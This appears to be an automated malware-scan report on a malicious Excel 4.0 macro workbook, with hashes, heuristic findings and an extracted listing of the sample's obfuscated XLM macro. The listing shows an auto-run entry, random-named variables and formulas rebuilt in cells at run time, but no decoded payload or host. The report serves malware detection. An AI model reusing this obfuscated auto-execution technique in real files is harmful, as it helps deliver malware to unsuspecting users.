Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6ca46f688991e62a…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:29:17 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 045794cf489e58f5ec336a233f023e42 SHA-1: e337f62506d0befe1f1cdedb9ed5ac831f14c24c SHA-256: 6ca46f688991e62acf14da539fd8684c095befdc7b125aba06f40ebe784bf5e1
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6538 bytes
SHA-256: ad623c69251d76abad9e581a111bb9e74a760e5ac01b0cefc666f25ad3607fd6
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  zhhJYccGz
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F158 
' 0018     23 LABEL : Cell Value, String Constant - BqmaOANw len=0 
' 0018     25 LABEL : Cell Value, String Constant - cxkPqmdePe len=0 
' 0018     23 LABEL : Cell Value, String Constant - FDRiFMsY len=0 
' 0018     20 LABEL : Cell Value, String Constant - Grkcc len=0 
' 0018     22 LABEL : Cell Value, String Constant - GxSQbvf len=0 
' 0018     27 LABEL : Cell Value, String Constant - hGTGdfdwjlBm len=0 
' 0018     21 LABEL : Cell Value, String Constant - HwPOUw len=0 
' 0018     23 LABEL : Cell Value, String Constant - hYHDgkLP len=0 
' 0018     25 LABEL : Cell Value, String Constant - KTECExkUkn len=0 
' 0018     21 LABEL : Cell Value, String Constant - MlyOpx len=0 
' 0018     23 LABEL : Cell Value, String Constant - mMcXgfAq len=0 
' 0018     21 LABEL : Cell Value, String Constant - NUXCmo len=0 
' 0018     26 LABEL : Cell Value, String Constant - oQGzXFiEORa len=0 
' 0018     21 LABEL : Cell Value, String Constant - qEigod len=0 
' 0018     24 LABEL : Cell Value, String Constant - QqULvCcyP len=0 
' 0018     26 LABEL : Cell Value, String Constant - RjvYQiZvqyV len=0 
' 0018     22 LABEL : Cell Value, String Constant - ThaQkLk len=0 
' 0018     20 LABEL : Cell Value, String Constant - uGYCv len=0 
' 0018     21 LABEL : Cell Value, String Constant - UzKqMR len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZlrypXcasne len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  zhhJYccGz,F73,"SET.NAME("Grkcc",VALUE("0"))",""
'  zhhJYccGz,F75,"SET.NAME("HwPOUw",Grkcc)",""
'  zhhJYccGz,F77,"SET.NAME("qEigod",Grkcc)",""
'  zhhJYccGz,F80,"SET.NAME("ThaQkLk",COUNTA(MlyOpx))",""
'  zhhJYccGz,F82,"SET.NAME("uGYCv",COUNTA(oQGzXFiEORa))",""
'  zhhJYccGz,F86,[],""
'  zhhJYccGz,F90,"SET.NAME("mMcXgfAq","")",""
'  zhhJYccGz,F93,"HwPOUw",""
'  zhhJYccGz,F97,"SET.NAME("NUXCmo",HLOOKUP("*",MlyOpx,HwPOUw,FALSE))",""
'  zhhJYccGz,F101,"cxkPqmdePe",""
'  zhhJYccGz,F103,"SET.NAME("KTECExkUkn",Grkcc)",""
'  zhhJYccGz,F106,[],""
'  zhhJYccGz,F108,"KTECExkUkn",""
'  zhhJYccGz,F111,"GxSQbvf",""
'  zhhJYccGz,F113,"RjvYQiZvqyV",""
'  zhhJYccGz,F117,"FDRiFMsY",""
'  zhhJYccGz,F122,"SET.NAME("hGTGdfdwjlBm",VALUE(HLOOKUP("*",oQGzXFiEORa,FDRiFMsY,FALSE)))",""
'  zhhJYccGz,F126,"QqULvCcyP",""
'  zhhJYccGz,F129,"mMcXgfAq",""
'  zhhJYccGz,F134,"qEigod",""
'  zhhJYccGz,F139,NEXT(),""
'  zhhJYccGz,F144,"hYHDgkLP",""
'  zhhJYccGz,F147,"SET.NAME("f",INT(T(FORMULA(T(mMcXgfAq)&"",""&T(hYHDgkLP)))))",""
'  zhhJYccGz,F149,"ZlrypXcasne",""
'  zhhJYccGz,F152,NEXT(),""
'  zhhJYccGz,F154,RETURN(),""
'  zhhJYccGz,F179,"SET.NAME("UzKqMR",F73)",""
'  zhhJYccGz,F184,"MlyOpx",""
'  zhhJYccGz,F187,"SET.NAME("oQGzXFiEORa",R62C12)",""
'  zhhJYccGz,F192,"SET.NAME("ZlrypXcasne",200)",""
'  zhhJYccGz,F196,"SET.NAME("BqmaOANw",6)",""
'  zhhJYccGz,F199,UzKqMR(),""
'  zhhJYccGz,F200,HALT(),""